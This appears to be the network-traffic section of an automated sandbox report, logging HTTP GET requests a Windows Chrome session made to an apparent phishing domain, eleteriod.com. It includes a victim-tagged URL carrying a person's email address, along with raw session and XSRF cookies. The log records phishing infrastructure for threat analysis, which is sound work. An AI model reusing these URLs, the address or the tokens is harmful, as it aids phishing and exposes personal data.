Source: global traffic	HTTP traffic detected: GET /nmZPXExYNWLex4mM7631aNGhsiAsiJXNjNRAer HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImttalYvUFRTRkZBMlhpY202VG04RXc9PSIsInZhbHVlIjoiczQ4RVpsZ0JGL2wvcTRDd2ZyYzhicDJtT0M1STAvN2JwVXE4U1hURlk5WDRIR3B0L0ZlU2RHMS9ZOHN0eUtYQWZZVkhES1dwMDVOdFN3UjlYdWZUK0FidjFoZVhjYUZaRDQyN1NFeVdnSWt6VStPek9kSFFvK0lpZHc1Vyt2YzQiLCJtYWMiOiI2YzNkMTQ4ZWE0MmU3NjlmOGUwZjRiOTA0NDA2N2E4ODlkOWU5NTZjMjhlMGM2NjYxNDE2NTQ0ZDhhZDJmMDA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBZQTF5aHd4Qmc2RVJva0tHYktZY2c9PSIsInZhbHVlIjoia1haKzR6QjIvdkF0bGcyeStlNW1DUGVicm9mWVJ5UWI5ZmtTemFIQmdlWnV3c2JWc0hpODlZVnM2RjVlNG1WRGM2dkdBOHZLekVya2xWclJkdGhnd3NqUjJ1SXlKVTJFWnVSWnVQbzNnUmJURHdDTktqQ283YWh1V2ZRYWFQbVUiLCJtYWMiOiIzMDdkNGJmNDljMmNmYTNlN2U3ZmM0M2M3ZjlhMGU3Njg2ZThmZmMwZjkzMTc1YjNhMTVhNDhhNTA3YWU3MGEyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /k3hof49809/?NYtodd.france@airbornemx.com HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://l6agz47874.eleteriod.com/k3hof49809/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilk0WkoyMGhGcDNKTXhXd0NtTDJqQmc9PSIsInZhbHVlIjoia2dlZ2pObDBTbFpMOUNxbUJreGFVNmFsc0NqdjI3bS8wWXR6eW9DSUVGZkt4MDJjbitVY05jRWloaE5vS3U3c3RvdU5iMUZLa1ROQlkzU01tSDI2N0QyYjdWSXVBU2hGYlhtamlWd2VlRlBFYlZmVE1PNkd3RXJEdzVmMG1hY3EiLCJtYWMiOiJjMzBkMDYwYTVmMWEwNGZkYTc3ZmRhYjhjYmE1YTNiZDk0ZThkYzk4YmQ4YTM2ZTE5ZTliOTIzMzE0YTg1NDIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpmWmdTOWFaSkxxTjZFQlV5M3lxeWc9PSIsInZhbHVlIjoiNC9KRmh2NHAvZ0xmUGtPUTBCSEc5a25PSnZlalloaFdkTzhSNU9OUy9zS0dycVJFbnU2aE84L09nTWxGWXJHVlJ3b3FoRFk0S1Q2WkJ3SWs2QUc5dkRVRk5XQmt1aXZ5YXFSeWFnS3p2cEM4QXc3elZnbTZueHZMdytKTGZ3RUYiLCJtYWMiOiI1NWNhYjNhZTc2MjY3NmJmZGFmMGRmOWY4YzBhNjkxNWNiN2VkY2JiZDNmZjIyMjhlMDA0ZjA4MzkwNjdkMWI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RxOb4T5Cgy5kgHP&MD=9AUd9Nh3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://l6agz47874.eleteriod.com/k3hof49809/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdPK1EvN3Fjc1FsaVQ1ZjFjYWVDdlE9PSIsInZhbHVlIjoiejBGZC8rbktjV1pWTkhteVlCbGNVQVl0eTBUbHE3eW5EWEN1L2ZETkRTdmRVNDlaTEVWQ3RHOHM4UjdNc1lWc2s3QUYyN3h0TDI1dlZQVVBNcHVaZEhWRmdvWnExTFVOblhIMCtoWmRtSXM1RG5tazdHSlhHbkczV0svSzhzYnEiLCJtYWMiOiI3NmU2MmJiZmViZmZiOWRlMGZmNWVmNmU5N2Q5NTcwZWFiNjM0MTA4MjU0ODBlMWMxMWQyOWI3OTBjYzQ5ZjEwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijk2emZOMzZRdGlQcm80eXRIODlvK1E9PSIsInZhbHVlIjoiQlZadi9FRTZ6bkg4QlVqcUcrTENRYndvNlNVTmU2dEZjZ1prU3dWT0phclVNVHZsKzJhZ0RjV1pZMy9rNSsvdXg2WW9STmFQTnI1QWQwa3Q5TUJPenEzaS8rQWlwZnQxZFVKNTlmS3k3RWdhTC91V1BCMk0yWHNoVHk3N1ZrVXkiLCJtYWMiOiJlMTMyNjVlODAxNzFlNGNhYWFkMzllZGJmZjAzYTZkZDdkZjFjZDE2NDY1OTFjMjBlMTAyZmYzNjRiMDJmZTg3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12HIw9eOWu0absr2Ad26720 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /aberie6jZkbpqVFEef25 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqOXwEJDxFZyzN1auv36 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12GxD1xKYiaDaUT560Micgpqr50 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56RriKccTQyAhplO4d67VmBjviYuv59 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /23tBEhtKGMgm89BkdRhzvw70 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l6agz47874.eleteriod.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 